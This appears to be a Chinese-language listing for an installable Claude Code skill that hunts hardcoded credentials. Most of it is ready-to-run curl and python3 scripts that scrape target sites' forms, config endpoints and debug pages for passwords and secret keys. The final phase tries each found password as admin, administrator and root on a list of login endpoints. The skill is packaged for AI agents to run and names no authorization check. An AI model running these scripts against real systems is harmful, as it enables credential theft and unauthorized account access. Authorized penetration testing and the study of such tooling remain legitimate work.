mcpField
H
hardcoded-credential-hunt

hardcoded-credential-hunt

github.com/uphiago安全1.3k42 次安装8 周前更新
代码仓库

关于 hardcoded-credential-hunt

hardcoded-credential-hunt 是用于查找客户端代码、HTML、配置端点和调试页面中硬编码凭据的安全测试技能,可帮助测试人员确认凭据是否静态、能否使用及其权限范围。

主要功能

  1. 01检查 HTML 预填密码字段
  2. 02探测配置端点
  3. 03查找调试页面中的机密
  4. 04在身份验证端点测试凭据
  5. 05验证凭据权限与访问范围

适用场景

  1. 01审计公开表单中的嵌入式密码
  2. 02检查未认证配置响应
  3. 03评估调试错误泄露的机密

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill hardcoded-credential-hunt

安装后在 Claude Code 中输入/hardcoded-credential-hunt确认已加载。

详细介绍

硬编码凭据排查

检测客户端代码或 HTML 响应中内置的凭据。目标包括表单 value 属性中的主密码、内联脚本中的密钥、配置端点中的 API 令牌,以及调试错误页面泄露的明文凭据。这类漏洞可完全绕过身份验证——无需暴力破解。

适用场景

  • 应用提供预填或隐藏密码字段的 HTML 表单。
  • 配置端点(/api/config、/env、/settings)返回包含类似凭据字符串的 JSON。
  • 调试/错误页面在 JavaScript 变量中泄露应用密钥。
  • 未经身份验证的 API 端点返回控制身份验证的数据(重置、退出注册、管理员操作)。
  • JavaScript 包中包含符合密码模式的字符串赋值。

前提条件

  • 带有 curl 和 python3 的 terminal。
  • 目标在配置/设置端点上未进行适当身份验证,且提供 HTML、JSON 或 JavaScript。
  • 至少能够访问一个公开页面、表单或 API 端点。

快速检测

# Scan HTML for password fields with pre-filled values
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/PATH" | grep -Eoi '(?:password|passwd|senha|pass|pwd|secret)\s*[=:"]\s*"?[^"&\s]{4,30}"?' | head -10

# Scan JSON config endpoints for credential-like keys
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/config" | python3 -c "
import sys, json, re
try:
    data = json.load(sys.stdin)
    for k, v in data.items() if isinstance(data, dict) else []:
        if any(x in k.lower() for x in ['pass','secret','key','token','auth']):
            print(f'{k}: {v}')
except: pass
"

# Scan inline JavaScript for hardcoded secrets
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/" | grep -Eo '(?:SECRET|PASSWORD|API_KEY|TOKEN)\s*=\s*"[^"]{8,}"' | head -10

操作步骤

阶段 1 — 检查 HTML 表单

查找带有 value 属性的密码字段,或包含凭据的隐藏输入项:

# Extract all password inputs
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/PATH" | python3 -c "
import sys, re
html = sys.stdin.read()
# Inputs with type=password and non-empty value
for m in re.finditer(r'<input[^>]*type\s*=\s*[\"\']password[\"\'][^>]*value\s*=\s*[\"\']([^\"\']+)[\"\']', html):
    print(f'PASSWORD FIELD: {m.group(1)}')
# Hidden inputs that look like passwords
for m in re.finditer(r'<input[^>]*type\s*=\s*[\"\']hidden[\"\'][^>]*name\s*=\s*[\"\']([^\"\']*(?:pass|senha|secret|token|key)[^\"\']*)[\"\'][^>]*value\s*=\s*[\"\']([^\"\']+)[\"\']', html, re.IGNORECASE):
    print(f'HIDDEN CREDENTIAL: {m.group(1)} = {m.group(2)}')
"
阶段 2 — 探测配置端点

探测可能泄露凭据的常见配置端点:

for path in /api/config /api/settings /env /api/env /config.json /api/config.json \
            /api/v1/config /api/configuration /api/v2/settings /api/status; do
  result=$(curl --max-time 30 --connect-timeout 10 -sk "https://target.com$path" -w "\n%{http_code}" 2>/dev/null)
  code=$(echo "$result" | tail -1)
  if [ "$code" = "200" ]; then
    echo "=== $path (200) ==="
    echo "$result" | python3 -c "
import sys, json, re
data = sys.stdin.read()
# Try JSON
try:
    obj = json.loads(data)
    for k, v in obj.items() if isinstance(obj, dict) else []:
        if any(x in str(k).lower() for x in ['pass','secret','key','token','auth','jwt']):
            print(f'  {k}: {v}')
except:
    # Try regex on plain text
    for m in re.finditer(r'(?:password|passwd|secret|token|api[_-]?key)\s*[=:]\s*[\"']([^\"']{4,})[\"']', data, re.I):
        print(f'  {m.group(0)}')
" | head -20
  fi
done
阶段 3 — 分析调试错误页面

Werkzeug、Django 和 Express 的调试页面经常会在内联 JavaScript 中泄露密钥:

# Trigger an error and check for credential leaks
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/ERROR_TRIGGER_PATH" | python3 -c "
import sys, re
html = sys.stdin.read()
# Werkzeug debugger SECRET
match = re.search(r'SECRET\s*=\s*[\"]([^\"\']+)[\"]', html)
if match: print(f'WERKZEUG_SECRET: {match.group(1)}')
# Django settings
for m in re.finditer(r'SECRET_KEY\s*=\s*[\"]([^\"\']+)[\"]', html):
    print(f'DJANGO_SECRET: {m.group(1)}')
# Generic credential patterns
for m in re.finditer(r'(?:PASSWORD|PASS|TOKEN|API_KEY)\s*=\s*[\"]([^\"\']{6,})[\"']", html, re.I):
    print(f'LEAKED: {m.group(0)}')
"
阶段 4 — 测试身份验证绕过

发现硬编码密码后,使用该密码测试所有身份验证端点:

PASSWORD="found_password"
# Test against common auth endpoints
for endpoint in /login /api/login /api/auth/login /auth /admin /api/admin; do
  for user in admin administrator root; do
    code=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" \
      -d "username=$user&password=$PASSWORD" \
      "https://target.com$endpoint")
    if [ "$code" = "302" ] || [ "$code" = "200" ]; then
      echo "SUCCESS: $user:$PASSWORD at $endpoint (HTTP $code)"
    fi
  done
done

注意事项

  • 占位值看起来可能是真实凭据。 报告前先测试 password123、changeme 和空字符串——它们通常是开发默认值。
  • 凭据可能有使用范围限制。 “退出注册”密码并不等同于完整的管理员密码。评分前先确认凭据的实际权限。
  • 表单值可能是动态生成的。 检查密码是否会随会话变化(CSRF 令牌模式),还是确实为静态值。
  • Base64 并非加密。 解码在 JavaScript 中发现的任何类似 Base64 的字符串——其中经常包含凭据。
  • 速率限制可能会阻止测试。 每次身份验证尝试间隔 2–3 秒。

验证

  1. 确认凭据是静态的: 获取页面/端点三次,并确认每次的密码值都相同。
  2. 确认凭据可以授予访问权限: 在预期端点使用该凭据,并确认响应与失败尝试不同(HTTP 200/302,而非 401/403)。
  3. 确定权限级别: 使用该凭据测试其他端点,以确定其范围(只读、写入、管理员、重置)。
  4. 检查审计记录: 在请求中加入唯一标识符后重复访问,确认操作出现在日志中(以验证实际影响)。

相关技能

  • api-noauth-hunt — 利用完全缺少身份验证的 API 端点。
  • js-secrets-extraction — 查找 JavaScript 包中的 API 密钥和令牌。
  • source-leak-hunt — 检测暴露的配置文件(.env、wp-config 等)。
  • flask-werkzeug-attack — 利用 Werkzeug 调试器泄露的 SECRET 和回溯信息泄露。

评论

支持 Markdown